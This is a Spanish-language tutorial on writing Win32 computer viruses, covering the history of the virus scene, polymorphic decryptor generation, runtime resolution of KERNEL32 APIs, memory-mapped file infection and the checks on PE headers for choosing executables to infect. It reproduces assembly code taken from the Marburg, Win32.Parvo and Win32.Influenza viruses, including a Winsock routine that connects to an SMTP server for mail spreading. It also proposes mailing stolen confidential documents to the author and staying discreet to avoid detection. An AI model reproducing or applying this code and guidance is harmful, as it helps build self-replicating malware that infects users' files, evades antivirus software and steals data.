Introducción a la programación de virus
bajo Win32
Por GriYo
Indice. Mirada al pasado.

Si damos un paseo por Internet en busca de páginas especializadas en el tema de los virus informáticos nos encontraremos con un montón de documentos, colecciones de virus, fuentes, links muertos y todo tipo de información totalmente obsoleta. El motivo de esto lo encontramos en la desaparición paulatina del MsDos. De los cerca de 30.000 virus conocidos hoy en día el 90% aproximadamente son virus de MsDos. La mayoría de estos virus de MsDos que fueron tan famosos hace años dejaron de funcionar con la aparición de Windows. Muchos virus utilizan métodos indocumentados y poco compatibles, y de igual forma que ocurre con los *exploits* o con los *denial of service* las técnicas empleadas dejan de funcionar, y los problemas de seguridad se arreglan ( aunque en ocasiones se acrecientan ).

Con la aparición de Windows 3.0 muchos virus perdieron la compatibilidad, pero la *scene* aun estaba muy concurrida, y no tardaron en salir a la luz trabajos orientados a este entorno. Esto mismo sucedió con la llegada de las sucesivas versiones de Windows anteriores al 95. Trabajos como el virus Sucksexee (aka Implant.6128) exprimieron hasta los extremos más insospechados toda la capacidad del MsDos. Algunas características de este virus son:

  • Full-stealth:

  • Esta técnica persigue ocultar totalmente la existencia del virus. Si abrimos un fichero infectado este aparecerá limpio, y lo mismo ocurrirá si lo intentamos con un debugger. No se aprecia aumento alguno en el tamaño de los ejecutables, pese a que algunos han crecido cerca de 6Kb.
     
  • Retro-virus:

  • El virus fue diseñado para atacar directamente al software antivirus. Un ejemplo: Si estando el virus activo en memoria ejecutamos el antes conocidísimo ThunderByte Antivirus, ciertos parámetros son añadidos automáticamente a la línea de comandos, de forma que el escaneo de la memoria quedaba desactivado sin que el usuario se percatara de esta perdida de operatividad en su software antivirus. Otra característica *retro* de este virus es su capacidad para desactivar el arranque desde disquetes, lo que obligaba a arrancar desde la unidad de disco ya infectada.
     
  • Polimorfismo:

  • Esta técnica llegó de la mano de autores como Dark Avenger con su "Mutation Engine" o el grupo holandés Trident con su "TPE". La idea básica es crear un bucle sencillo que recorre el virus, encriptando cada byte. Este bucle es generado de forma tal que varia de una infección a otra. Las posibles variaciones en el bucle son:
    • Recorrer el virus desde la dirección de memoria mas baja, incrementando en cada iteración el puntero que hace referencia a esta dirección de memoria. O el caso opuesto, recorrer el virus desde el final ( dirección de memoria mas alta ) hasta el principio, decrementando el puntero en cada iteración.
    • En cada iteración el puntero incrementa o decrementa, pero esta variación puede ser de 1 byte o 2 bytes, puesto que el 8086 y sus sucesores permitían realizar operaciones con bytes o words.
    • La operación aritmética que se usa para encriptar el virus también es variable. Cualquiera vale, por simple que sea, lo importante es alcanzar la máxima variabilidad. El bucle puede recorrer el virus sumando 01h a cada byte, restando, haciendo un OR EXCLUSIVO o incluso rotando cada valor un numero de bits a la izquierda o derecha. Lo importante es que la operación utilizada sea sencilla y tenga inversa.
Como vemos, es posible hacer infinitas combinaciones, y esa es la clave. Los antivirus, por aquel entonces, realizaban la búsqueda de ficheros infectados mediante una sencilla comparación de cadenas. El antivirus abría cada fichero del disco y buscaba en su interior fragmentos de virus. Este método presentaba problemas claramente evidentes:
    • Es necesario conocer la cadena que se quiere buscar, por lo que solo podrán ser detectados aquellos virus *conocidos* por el antivirus.
    • Al crecer el numero de virus crece la cantidad de cadenas a buscar dentro de cada fichero, con la consiguiente ralentización del proceso de escaneado.
El polimorfismo significaba la evasión total y efectiva a estos métodos de detección. Un virus polimórfico presenta un numero tan elevado de posibles mutaciones que seria imposible almacenar y buscar todas sus variantes.
  • Multipartito:

  • El virus infecta múltiples objetivos en un mismo sistema. En este caso se trata del MBR (Master Boot Record), los archivos con extensión .COM, los archivos .EXE e incluso los archivos. SYS. Encontramos esta característica en su máxima expresión en los virus multi-plataforma.
Me atrevería a decir que difícilmente se podía llegar tan lejos en las técnicas empleadas sin mermar gravemente la capacidad del sistema, pero para entonces los desarrolladores de antivirus menos incompetentes dieron con lo que pudo haber sido la solución definitiva. Apareció la búsqueda heurística, basada en la aplicación de técnicas de inteligencia artificial. Pero todos sabemos que por muy inteligente que sea un programa de ordenador, jamas lo será de igual manera que un ser humano, y no han tardado en aparecer técnicas *anti-heuristicas*. Pero veamos un poco mas sobre la búsqueda heurística. Se trata de examinar un programa en busca de signos de infección. Un virus, cuando infecta un ejecutable, necesita realizar algunos cambios en él, siendo estos cambios sospechosos el objeto de la búsqueda por parte del anti-virus. Los motores heurísticos más avanzados eran capaces de detectar virus polimórficos, puesto que detectaban el bucle de encriptación del que hablábamos anteriormente, e incluso llegaban mas lejos, y mediante emulación eran capaces de deshacer este bucle y obtener una imagen clara del virus, pudiendo aplicar entonces la búsqueda por cadenas tradicional. El problema de la búsqueda heurística radica en que ofrece siempre una solución, aunque esta pueda no ser la correcta. Me refiero a los falsos positivos, es decir, programas que por sus especiales características dan positivo al buscar virus en ellos. En mas de una ocasión algún conocido antivirus ha dado por infectado algún fichero del sistema, con la subsiguiente avalancha de usuarios mosqueados. Con la aparición de Windows 95 y de la nueva plataforma Win32 todas estas técnicas, dependientes del funcionamiento interno del MsDos, dejaron de funcionar. La mayoría de los virus de sector de arranque se delatan a sí mismos tras infectar una maquina con Windows 95, que incorpora algunos mecanismos de protección contra los virus, básicos y primitivos. Otro ejemplo de esta pérdida de funcionalidad son los virus *stealth*, puesto que emplean técnicas no compatibles con el nuevo formato de nombres largos y las nuevas funciones de búsqueda de ficheros del sistema.

El desarrollo de virus se paralizó durante un tiempo. Seguían apareciendo virus de MsDos, pero el peligro estaba ya lejos. Aparecieron los primeros intentos dentro del ámbito de Win32, de la mano del siempre innovador grupo VLAD y su virus Bizatch ( denominado Boza por la gente de los anti-virus). Este virus empleaba técnicas primitivas que impedían su correcto funcionamiento ( como asumir direcciones fijas en memoria para el kernel y sus funciones), pero suponía un primer paso que seguramente alentó a muchos otros autores que no tardaron en dar el paso y empezar a investigar sobre esta nueva plataforma. Fue en este paso, para algunos de gigante, cuando desapareció gran parte de la scene. Las paginas web que antes recogían puntual información sobre la scene empezaron a no ser actualizadas con tanta regularidad, dada la falta de avances o descubrimientos. Solo algunos grupos concentraron todas sus fuerzas en la nueva plataforma, y aparecieron los primeros intentos serios, de la mano de grupos como IKX o 29A.Jacky Qwerty, autor del grupo 29A, fue sin duda uno de los impulsores de la tecnología vírica bajo 32bits. Sus virus Jacky y Cabanas asentaron las bases de lo que luego serian infectores más complejos y avanzados. Los desarrolladores de anti-virus aun andaban pensando como portar sus motores de búsqueda heurística a Win32 cuando apareció el primer virus polimórfico capaz de infectar ejecutables de Win32. Marburg pillo a muchos con los pantalones bajados, y eso le impulso *in-the-wild* llegando a aparecer ficheros infectados en los CdRom de revistas ampliamente difundidas, como PcGamer o PcPowerPlay. Las primeras muestras del virus Marburg cayeron en manos de los desarrolladores de anti-virus en agosto de 1998, cuando el virus llevaba ya cerca de 9 meses *in-the-wild*. Pese a esto aun tardaron unos dos meses mas en ser capaces de adaptar sus paquetes para ser capaces de afrontar este nuevo ataque. La guerra se declaraba de nuevo.

La nueva plataforma suponía un esfuerzo extra a la hora de desarrollar virus, pero su mayor potencial ponía en las manos de sus autores armas aun más potentes. Describir este nuevo potencial y su aplicación al desarrollo de virus es el objetivo de este articulo.

Un alfabeto infinito.

Esta claro que 16bits no son lo mismo que 32bits, ¿pero que diferencia supone esto a la hora de diseñar un motor de polimorfismo?. Para empezar ya no contamos solo con registros de 16bits ( ax, bx, etc..) si no que disponemos de toda la potencia del juego de registros extendidos ( eax, ebx, etc..). Una primera mejora sobre un motor de polimorfismo de 16bits seria añadir los 16bits que le faltan para llegar a 32. Veamos un ejemplo con una instrucción sencilla en ensamblador, MOV con el registro acumulador como destino. Donde antes solo podíamos generar:

                MOV AL,imm8bit
                MOV AH,imm8bit
                MOV AX,imm16bit
Ahora contamos con las siguientes posibilidades:
                MOV AL,imm8bit
                MOV AH,imm8bit
                MOV AX,imm16bit
                MOV EAX,imm32bit
Esto solo supone un incremento en la variabilidad de una sola instrucción, pero si ampliamos el ejemplo al resto de los registros y al resto de las instrucciones veremos que se trata de una importante mejora. Otro aspecto importante radica en el acceso a memoria que el bucle realiza a la hora de desencriptar el virus. En los antiguos motores de polimorfismo contábamos con acceso byte a byte o word a word, por ejemplo:
                ADD BYTE PTR DS:[mem],imm8bit
                ADD WORD PTR DS:[mem],imm16bit
Puesto que ahora andamos en Win32 no solo nos podemos deshacer de los registros de segmento (la memoria aparece plana a la vista de la aplicación, no segmentada) si no que además contamos con instrucciones que acceden a posiciones de memoria de 32bits. El ejemplo anterior se ampliaría a:
                ADD BYTE PTR [mem],imm8bit
                ADD WORD PTR [mem],imm16bit
                ADD DWORD PTR [mem],imm32bit
De nuevo ganamos una sola posibilidad mas de variación, pero repito, si esto lo aplicamos a todas las posibles instrucciones daremos con una bonita explosión combinatoria, a la que aun nos queda por añadir mas posibilidades. Una de ellas esta formada por los nuevos métodos de indexación, donde antes podíamos generar:
                ADD BYTE PTR DS:[reg],imm8bit
                ADD BYTE PTR DS:[reg+imm],imm8bit
Ahora nos encontramos con las siguientes posibilidades:
                ADD BYTE PTR [reg],imm8bit
                ADD BYTE PTR [reg+imm],imm8bit
                ADD BYTE PTR [reg+reg],imm8bit
                ADD BYTE PTR [reg+reg+imm],imm8bit
Incluso podemos utilizar alguno de los exóticos modos de indexación del 386+ como por ejemplo [reg*02h]. Aquí hemos ganados mas posibilidades, que se multiplican al aplicar el ejemplo no solo a ADD y a referencias a BYTE, si no al resto de las instruciones y al resto de los tamaños del operador ( WORD y DWORD). Evidentemente, un gran potencial, y solo hemos empezado por analizar las instrucciones y registros del procesador. La generación automática de código polimórfico alcanza sus más altas cotas en aquellos engines capaces de seguir la evolución del código que generan, conociendo en cualquier momento el estado de cualquier registro o incluso su valor. A continuación podemos observar un fragmento del decriptor polimórfico que el virus Win32.Influenza utiliza para ocultar su presencia en los ficheros infectados:
                :00401376 E81D000000     call   00401398
                .                        .
                .                        .
                .                        .
                :00401398 BE5F4D853E     mov    esi,3E854D5F
                :0040139D 87DE           xchg   esi,ebx
                :0040139F 5B             pop    ebx
                :004013A0 668BFB         mov    di,bx
                :004013A3 8BF8           mov    edi,eax
                :004013A5 66BDB0C8       mov    bp,C8B0
                :004013A9 5D             pop    ebp
                :004013AA 0F8C03000000   jl     004013B3
                :004013B0 6687D3         xchg   bx,dx
                :004013B3 FD             std
                :004013B4 664B           dec    bx
                :004013B6 E9AA260100     jmp    00413A65
                .                        .
                .                        .
                .                        .
                :00413A65 E815000000     call   00413A7F
                .                        .
                .                        .
                .                        .
                :00413A7F 87FA           xchg   edx,edi
                :00413A81 F8             clc
                :00413A82 664F           dec    di
                :00413A84 5B             pop    ebx
                :00413A85 8AEE           mov    ch,dh
                :00413A87 E912000000     jmp    00413A9E
Podemos observar como el código generado presenta una estructura compleja similar a la de un programa real. El motor de polimorfismo no tiene problemas para generar estructuras como la instrucción CALL de la dirección de memoria 00401376, que transfiere el control varias posiciones mas adelante. En la dirección 0040139F encontramos una instrucción POP que restaura el stack, eliminando la dirección de retorno guardada por la llamada anterior.

¿Quién ha escondido la caja de herramientas?.

En los virus basados en MsDos utilizábamos las interrupciones que nos permitían acceder a funciones del MsDos ( int 21h) o de la Bios ( int 13h). Todas esas funciones que utilizábamos para abrir un fichero o escribir en él residen ahora en DLL's, en este caso en KERNEL32.DLL. Localizar la dirección en memoria donde reside este modulo es vital, y para ello contamos con varios trucos. El virus puede localizar las funciones utilizadas por el programa que lo porta, y utilizarlas para infectar. Esto supondría una grave limitación: Si un ejecutable no utiliza alguna de las funciones necesarias para el funcionamiento del virus, este ejecutable no podra ser infectado. Una forma de evitar este problema:

  • El virus localiza el lugar donde el programa portador guarda la dirección de la función GetModuleHandle y de la función GetProcAddress. Estas dos funciones son utilizadas por la práctica totalidad de los ejecutables de Windows, y permitirán al virus localizar la dirección de memoria donde reside el modulo del kernel ( getmodulehandle), así como todas sus funciones exportadas ( getprocaddress).
  • Otra posibilidad es escanear la memoria en busca del kernel, pero claro, esto no es tan fácil como a primera vista parece, puesto que si durante esta búsqueda accedemos a una dirección protegida o no asignada provocaremos un error de protección, y el consiguiente mensaje que nos indicara que nuestro programa "ha realizado una operación incorrecta y se apagará". Para evitar esto contamos con una de las características más útiles de Win32, que abordaremos con detalle mas adelante, me estoy refiriendo a SEH ( Stuctured Exception Handling).
Existen otros métodos y seguramente aparecerán muchos mas, pero estos dos son los más efectivos a la hora de escribir este articulo. Una vez el virus tiene acceso a las APIs ( funciones) del sistema no hay nada que no pueda hacer ¿ o sí?. Para empezar el virus puede poner en funcionamiento las APIs GetModuleHandle y GetProcAddress recién obtenidas para obtener el punto de entrada de un montón de funciones del kernel que sin duda le harán falta mas adelante, por ejemplo:
  • CreateFile
  • CreateFileMapping
  • CloseHandle
  • CopyFile
  • CreateProcess
  • DeleteFile
  • FileTimeToSystemTime
  • FindClose
  • FindFirstFile
  • FindNextFile
  • FreeLibrary
  • GetCurrentDirectory
  • GetCurrentProcess
  • GetFileAttributes
  • GetFileSize
  • GetModuleFilename
  • GetSystemDirectory
  • GetTempPath
  • GetWindowsDirectory
  • LoadLibrary
  • MapViewOfFile
  • MoveFile
  • SetEndOfFile
  • SetFileAttributes
  • SetFileTime
  • SystemTimeToFileTime
  • UnmapViewOfFile
  • VirtualAlloc
  • WriteProcessMemory
Algunas o todas estas APIs pueden ser de utilidad para el virus. Es de destacar en este punto la función LoadLibrary, que nos permitirá cargar en memoria cualquier modulo de Windows y utilizar sus APIs.

El siguiente fragmento pertenece al virus Marburg. Se trata de la rutina encargada de localizar cada una de las APIs del kernel necesarias para el funcionamiento del virus, todo ello con la ayuda de GetProcAddress.

        get_K32_APIs:   push ebx
                        lea esi,dword ptr [ebp+viral_functions]
                        lea edi,dword ptr [ebp+viral_addresses]
                        mov ecx,(offset viral_tbl_end-offset viral_functions)/04h
        get_each_ep:    cld
                        lodsd
                        add eax,ebp
                        push ecx
                        push esi
                        push edi
                        push eax
                        push dword ptr [ebp+a_Kernel32]
                        call dword ptr [ebp+a_GetProcAddr]
                        pop edi
                        pop esi
                        pop ecx
                        or eax,eax
                        jz exit_get_func
                        cld
                        stosd
                        loop get_each_ep
        exit_get_func:  mov ecx,eax
                        pop ebx
                        ret

        viral_functions equ this byte

                        dd offset szCreateFileA
                        dd offset szCreateFileMap
                        dd offset szMapViewOfFile
                        dd offset szUnmapView
                        dd offset szCloseHandle
                        dd offset szFindFirst
                        dd offset szFindNext
                        dd offset szFindClose
                        dd offset szVirtualAlloc
                        dd offset szGetWinDir
                        dd offset szGetSysDir
                        dd offset szGetCurDir
                        dd offset szSetFileAttr
                        dd offset szSetFileTime
                        dd offset szDeleteFile
                        dd offset szGetCurProc
                        dd offset szWriteProcMem
                        dd offset szLoadLibrary
                        dd offset szGetSysTime

        viral_tbl_end   equ this byte

        szGetModuleH    db "GetModuleHandleA",00h
        szGetProcAddr   db "GetProcAddress",00h
        szCreateFileA   db "CreateFileA",00h
        szCreateFileMap db "CreateFileMappingA",00h
        szMapViewOfFile db "MapViewOfFile",00h
        szUnmapView     db "UnmapViewOfFile",00h
        szCloseHandle   db "CloseHandle",00h
        szFindFirst     db "FindFirstFileA",00h
        szFindNext      db "FindNextFileA",00h
        szFindClose     db "FindClose",00h
        szVirtualAlloc  db "VirtualAlloc",00h
        szGetWinDir     db "GetWindowsDirectoryA",00h
        szGetSysDir     db "GetSystemDirectoryA",00h
        szGetCurDir     db "GetCurrentDirectoryA",00h
        szSetFileAttr   db "SetFileAttributesA",00h
        szSetFileTime   db "SetFileTime",00h
        szDeleteFile    db "DeleteFileA",00h
        szGetCurProc    db "GetCurrentProcess",00h
        szWriteProcMem  db "WriteProcessMemory",00h
        szLoadLibrary   db "LoadLibraryA",00h
        szGetSysTime    db "GetSystemTime",00h

        viral_addresses equ this byte

        a_CreateFile    dd 00000000h
        a_CreateFileMap dd 00000000h
        a_MapViewOfFile dd 00000000h
        a_UnmapView     dd 00000000h
        a_CloseHandle   dd 00000000h
        a_FindFirst     dd 00000000h
        a_FindNext      dd 00000000h
        a_FindClose     dd 00000000h
        a_VirtualAlloc  dd 00000000h
        a_GetWindowsDir dd 00000000h
        a_GetSystemDir  dd 00000000h
        a_GetCurDir     dd 00000000h
        a_SetFileAttr   dd 00000000h
        a_SetFileTime   dd 00000000h
        a_DeleteFile    dd 00000000h
        a_GetCurProc    dd 00000000h
        a_WriteProcMem  dd 00000000h
        a_LoadLibrary   dd 00000000h
        a_GetSysTime    dd 00000000h
Todo lo que quieras hacer.

Utilizando las API's del kernel LoadLibrary y GetProcAddress podemos cargar cualquier modulo de Windows y obtener las direcciones de las API's que nos interesen dentro de él. Así podremos incluir en nuestro virus multitud de características nuevas que resultaban impensables cuando aun andábamos en el MsDos. Algunos de los módulos con cuyas API's podemos contar son:

  • USER32.DLL y GDI32.DLL

  • El corazón del interfaz gráfico que tan famoso ha hecho a Windows esta a nuestra disposición para facilitarnos las cosas a la hora de crear vistosos *payloads* para nuestros virus.
     
  • WSOCK32.DLL

  • Esta librería proporciona un juego de funciones orientadas a la programación de aplicaciones que utilizan TCP/IP. Con su ayuda podemos desarrollar aplicaciones como un cliente de FTP o un cliente de TELNET, pero también podemos utilizarlas dentro de un virus para, por ejemplo, conectar con un servidor de mail, componer y enviar un mensaje. Este mensaje puede enviarse a otros usuarios junto con una copia adjunta del virus ( mail spreading ) o puede enviarse a una cuenta perteneciente al autor del virus, junto a documentos confidenciales extraídos por el virus de la maquina contaminada.
     
  • WININET.DLL

  • Este modulo contiene funciones destinadas a facilitar tareas típicas de aplicaciones orientadas a Internet. Dentro de este modulo encontraremos funciones que nos permitirán conectar con el proveedor de Internet, transmitir ficheros ( FTP ), descargar páginas web o incluso jugar con las "cookies".
     
  • MAPI32.DLL

  • Este modulo alberga las funciones de mensajería de Windows. Con él podemos construir de forma sencilla un email y adjuntar un fichero al mismo. No siempre encontraremos este modulo en el sistema, y su utilización provoca en ocasiones la aparición de mensajes indicando el estado de la operación que se esta realizando ( el típico mensaje que muestra Outlook Express en el que se lee "contactando con el servidor" o "enviando mensaje" ). Es por esto que, pese a lo mucho que simplifican las tareas de enviar correo, no es recomendable su utilización en un virus, donde se supone que hay que ser un poco mas *discreto*.
     
  • ADVAPI32.DLL

  • El registro del sistema es sin duda una importantísima fuente de información. De él podemos extraer nombres de directorios, servidores, passwords y todo tipo de información *sensible*.
Estas son algunos de los módulos mas *golosos* con cuyas funciones podemos contar en nuestro virus, pero existe toda una pila de módulos destinados a multitud de tareas, no tenemos mas que echar un ojo al directorio SYSTEM32 dentro de la carpeta de Windows. Otros módulos interesantes en la programación de virus podrían ser: NETAPI32.DLL, SHELL32.DLL, RASAPI.DLL, OPENGL32.DLL ...

Memoria fotografica.

Esta característica de Win32 nos da la posibilidad de traernos un ejecutable entero a memoria, por grande que sea, y acceder a él fácilmente utilizando como índice la dirección de memoria donde es mapeado. De esta forma nos evitamos constantes accesos a disco y desplazamientos innecesarios del puntero de lectura/escritura. El procedimiento es el siguiente:

  • Obtenemos un handle sobre el fichero que queremos abrir utilizando CreateFile.
  • Mapeamos el fichero en memoria usando la API CreateFileMapping.
  • Una vez mapeado obtenemos la dirección base en memoria donde se ha mapeado el fichero utilizando MapViewOfFile.
  • Una vez nos hemos traído el ejecutable entero a memoria ( si es demasiado grande Windows se encargara de hacer el correspondiente swap ) podemos recorrer su estructura interna sin problemas, tan solo tenemos que sumar la dirección base al offset al que queremos acceder. Los ficheros mapeados en memoria permiten a un virus infectar gran cantidad de ficheros en poco tiempo y pasando inadvertido.
Veamos un ejemplo de como funcionan estas API's:
                xor eax,eax                                     ;
                push eax                                        ;
                push FILE_ATTRIBUTE_NORMAL                      ; Atributos
                push OPEN_EXISTING                              ; Acción
                push eax                                        ;
                push eax                                        ;
                push GENERIC_WRITE or GENERIC_READ              ; Modo de acceso
                lea eax,dword ptr [ebp+file2open]               ; Nombre del fichero
                push eax                                        ;
                call dword ptr [ebp+a_CreateFileA]              ;
                cmp eax,INVALID_HANDLE_VALUE                    ; ¿ Error ?
                je error_createfile                             ;
                mov dword ptr [ebp+h_CreateFile],eax            ; Guardamos el handle
                xor eax,eax                                     ;
                push eax                                        ;
                push dword ptr [ebp+size]                       ; Tamaño del fichero
                push eax                                        ;
                push PAGE_READWRITE                             ; Derechos
                push eax                                        ;
                push dword ptr [ebp+h_CreateFile]               ; Handle
                call dword ptr [ebp+a_CreateFileMappingA]       ;
                or eax,eax                                      ; ¿ Error ?
                jz error_filemap                                ;
                mov dword ptr [ebp+h_FileMap],eax               ; Guardamos el handle
                xor eax,eax                                     ;
                push dword ptr [ebp+size]                       ; Tamaño del fichero
                push eax                                        ;
                push eax                                        ;
                push FILE_MAP_READ or FILE_MAP_WRITE            ; Modo de acceso
                push eax                                        ;
                call dword ptr [ebp+a_MapViewOfFile]            ;
                or eax,eax                                      ; ¿ Error ?
                jz error_view                                   ;
                mov dword ptr [ebp+base_addr],eax               ; Guardamos la dirección
Como resultado de la ejecución satisfactoria del código anterior obtenemos un puntero ( que guardamos en la dirección local indicada por base_addr ) al fichero en memoria. Utilizaremos este puntero para leer o escribir en memoria, reflejándose estas lecturas/escrituras en el fichero en disco. Una limitación en esta técnica radica en que no podemos hacer crecer el fichero una vez abierto. En el código anterior podemos observar como uno de los parámetros de llamada a estas API's es el tamaño del fichero. Pues bien, tendremos que abrir el fichero indicando su tamaño mas el tamaño requerido por el virus. Pero la primera vez que abrimos el fichero aun no sabemos si se trata de una víctima valida, algunas soluciones a este problema pasan por:
  • Abrir el fichero con acceso solo de lectura y respetando su tamaño original. Una vez comprobamos que se trata de un fichero apto para la infección cerramos el *FileMapping* y lo volvemos a crear, especificando esta vez el tamaño original mas el tamaño necesario para albergar al virus.
  • Otra posibilidad seria abrir el fichero y crear su imagen en memoria una sola vez, incluyendo el tamaño del virus. Si tras inspeccionar el ejecutable descubrimos que no es apto para la infección, restauramos el tamaño original utilizando la API SetEndOfFile.
Protección contra errores.

La gestión de excepciones ( Structured Exception Handling ) es sin duda una de las características más interesantes y más utilizadas de Win32 y a la vez de las menos documentadas, al menos por lo que a su funcionamiento interno se refiere.
Describir el funcionamiento y la implementación de esta técnica bien podria ser el objeto de un artículo entero, y en consecuencia no será tradado aqui. Para obtener mas informacion visita mi página web (BioTech), en la sección *PAPERS* encontrarás el artículo "A Crash Course on the Depths of Win32 Structured Exception Handling". Un interesantísimo artículo escrito por Matt Pietrek ( autor de libros como "Windows 95 System Programming Secrets" ) acerca de las interioridades del *SEH*.

Un muro mas alto, pero con mas puertas.

Microsoft introdujo un nuevo formato para los ficheros ejecutables con la llegada de la plataforma Win32. El nuevo formato, llamado "Portable Executable", pese a resultar más complejo a primera vista, presenta una estructura jerarquizada que, una vez comprendidas las estructuras internas que lo forman, facilita enormemente las labores de búsqueda, análisis y modificación de los campos que nos interesan.

Lo primero que encontramos al analizar la estructura de un PE es la cabecera MsDos. Se trata de la misma cabecera que presentan los ficheros .EXE de MsDos. Su finalidad es mostrar un mensaje que dice algo así como "This program cannot be run in DOS mode", cuando intentamos ejecutar una aplicación de Windows estando en MsDos.

La cabecera de los ficheros .EXE de MsDos presenta una marca que permite identificarla como tal. Podremos verla si abrimos algún ejecutable con un editor hexadecimal, se trata de los caracteres "MZ". De igual manera, la cabecera PE se encuentra identificada por la cadena "PE\0\0" que encontramos como primer campo.

A continuación aparece la "FileHeader", que recoge información básica acerca del fichero, como el numero de secciones de que consta o la fecha y hora en que fue *linkado*. Veamos la declaración de esta estructura:

        IMAGE_FILE_HEADER                     STRUC

              FH_Machine                      DW ?
              FH_NumberOfSections             DW ?
              FH_TimeDateStamp                DD ?
              FH_PointerToSymbolTable         DD BYTE PTR ?
              FH_NumberOfSymbols              DD ?
              FH_SizeOfOptionalHeader         DW ?
              FH_Characteristics              DW ?

        IMAGE_FILE_HEADER                     ENDS

IMAGE_SIZEOF_FILE_HEADER                      EQU SIZE IMAGE_FILE_HEADER
Le sigue la "OptionalHeader", que pese a su nombre de *optional* contiene información concreta e indispensable para la correcta interpretación del resto del ejecutable. Esta es la declaración:
        IMAGE_OPTIONAL_HEADER                 STRUC
 
              ; Standard fields:

              OH_Magic                        DW ?
              OH_MajorLinkerVersion           DB ?
              OH_MinorLinkerVersion           DB ?
              OH_SizeOfCode                   DD ?
              OH_SizeOfInitializedData        DD ?
              OH_SizeOfUninitializedData      DD ?
              OH_AddressOfEntryPoint          DD BYTE PTR ?
              OH_BaseOfCode                   DD BYTE PTR ?
              OH_BaseOfData                   DD BYTE PTR ?

              ; NT additional fields:
    
              OH_ImageBase                    DD BYTE PTR ?
              OH_SectionAlignment             DD ?
              OH_FileAlignment                DD ?
              OH_MajorOperatingSystemVersion  DW ?
              OH_MinorOperatingSystemVersion  DW ?
              OH_MajorImageVersion            DW ?
              OH_MinorImageVersion            DW ?
              OH_MajorSubsystemVersion        DW ?
              OH_MinorSubsystemVersion        DW ?
              OH_Reserved1                    DD ?
              OH_SizeOfImage                  DD ?
              OH_SizeOfHeaders                DD ?
              OH_CheckSum                     DD ?
              OH_Subsystem                    DW ?
              OH_DllCharacteristics           DW ?
              OH_SizeOfStackReserve           DD ?
              OH_SizeOfStackCommit            DD ?
              OH_SizeOfHeapReserve            DD ?
              OH_SizeOfHeapCommit             DD ?
              OH_LoaderFlags                  DD ?
              OH_NumberOfRvaAndSizes          DD ?
              
              UNION
              OH_DataDirectory                IMAGE_DATA_DIRECTORY    \
                                              IMAGE_NUMBEROF_DIRECTORY_ENTRIES \
                                              DUP (?)
              OH_DirectoryEntries             IMAGE_DIRECTORY_ENTRIES ?
              ENDS

IMAGE_OPTIONAL_HEADER                         ENDS

IMAGE_SIZEOF_STD_OPTIONAL_HEADER              EQU   28d
IMAGE_SIZEOF_NT_OPTIONAL_HEADER               EQU   SIZE IMAGE_OPTIONAL_HEADER
En el fichero PE.INC ( ver "29A Include files" en el apéndice A ) encontraras la declaración del resto de las estructuras que componen la cabecera PE. Como ejemplo de como acceder a estas estructuras vemos, a continuación, un fragmento del virus Win32.Parvo, en el que el virus chequea algunos campos de la cabecera PE para comprobar si el ejecutable es apto para el método de infección utilizado:
                ;Comprobar que la marca MZ esta presente en la dirección base
                ;del fichero mapeado en memoria

                cld
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne inf_close_file

;Chequear la posición de la "relocation table"

                cmp word ptr [ebx+MZ_lfarlc],0040h
                jb inf_close_file

                ;Ahora nos desplazamos a la cabecera PE y miramos si podemos encontrar
                ;allí la marca que la identifica

                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne inf_close_file

                ;Mirar la CPU para la que fue compilado este ejecutable
                ;permitir solo ejecutables para INTEL i386

                cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
                jne inf_close_file

                ;Un vistazo a las características para comprobar que se trata de un
                ;ejecutable

                mov ax,word ptr [esi+FH_Characteristics]
                test ax,IMAGE_FILE_EXECUTABLE_IMAGE
                jz inf_close_file

                ;Evitamos infectar DLL's

                test ax,IMAGE_FILE_DLL
                jnz inf_close_file

                ;Infectar sólo aplicaciones gráficas, no de consola
                                
                cmp word ptr [esi+                                        \
                              IMAGE_SIZEOF_FILE_HEADER+                   \
                              OH_Subsystem],IMAGE_SUBSYSTEM_WINDOWS_GUI
                                                                        
                jne inf_close_file
Tiene correo nuevo.

¿ Quién no ha jugado alguna vez a enviar un mail utilizando un cliente de TELNET?. Es bien sencillo, conectamos al puerto 25 ( SMTP ) del servidor de correo y vamos enviando los comandos necesarios para construir un mensaje, a saber:

                220 mail.servidor.cualquiera SMTP/smap Ready.
                helo server.mio
                250 (server.mio) pleased to meet you.
                mail from: <usuario@server.mio>
                250 <usuario@server.mio>... Sender Ok
                rcpt to: <destinatario@server.suyo>
                250 <destinatario@server.suyo> OK
                data
                354 Enter mail. end with "." on a line by itself.
                from: usuario <usuario@server.mio>
                to:  destinatario <destinatario@server.suyo>
                subject: Este es el asunto

                Este es el cuerpo del mensaje

                .
                250 Mail accepted
                quit
                221 Closing connection
Pues esto es exactamente lo que un virus tiene que hacer para generar un mensaje de correo electrónico. Con la ayuda de las funciones de WINSOCK.DLL podemos realizar estas operaciones. Implementar un motor SMTP ( Simple Mail Transfer Protocol ) en ensamblador no es labor sencilla, veamos como ejemplo un fragmento del virus Win32.Influenza, en el que encontramos un ejemplo de como conectar con el servidor de mail:
                lea eax,dword ptr [ebp+WSA_data]                ; Iniciar WINSOCK
                push eax                                        ;
                push 00000101h                                  ;
                call dword ptr [ebp+a_WSAStartup]               ;
                or eax,eax                                      ; ¿ Error ?
                jnz WSA_CleanUp                                 ;
                lea eax,dword ptr [ebp+host_name]               ; Obtener host a partir de
                push eax                                        ; su nombre
                call dword ptr [ebp+a_gethostbyname]            ;
                or eax,eax                                      ; ¿ Error ?
                jz WSA_CleanUp                                  ;
                cld                                             ;
                lea esi,dword ptr [eax+00000008h]               ;
                lea edi,dword ptr [ebp+SockAddrIn]              ;
                push edi                                        ;
                movsw                                           ;
                push 25                                         ; Puerto SMTP
                call dword ptr [ebp+a_htons]                    ; Convertir byte-order
                cld                                             ;
                stosw                                           ;
                lodsw                                           ;
                movzx ecx,ax                                    ;
                lodsd                                           ;
                mov esi,dword ptr [eax]                         ;
                rep movsb                                       ; Preparar SockAddrIn
                push ecx                                        ;
                push SOCK_STREAM                                ; Usar TCP
                push AF_INET                                    ; Internet
                call dword ptr [ebp+a_socket]                   ; Creamos el socket
                pop edi                                         ;
                cmp eax,00000000h                               ; ¿ Error ?
                jl WSA_CleanUp                                  ;
                mov dword ptr [ebp+conn_sock],eax               ; Guardar descriptor
                push SizeOfAddrIn                               ;
                push edi                                        ;
                push eax                                        ;
                call dword ptr [ebp+a_connect]                  ; Conectar
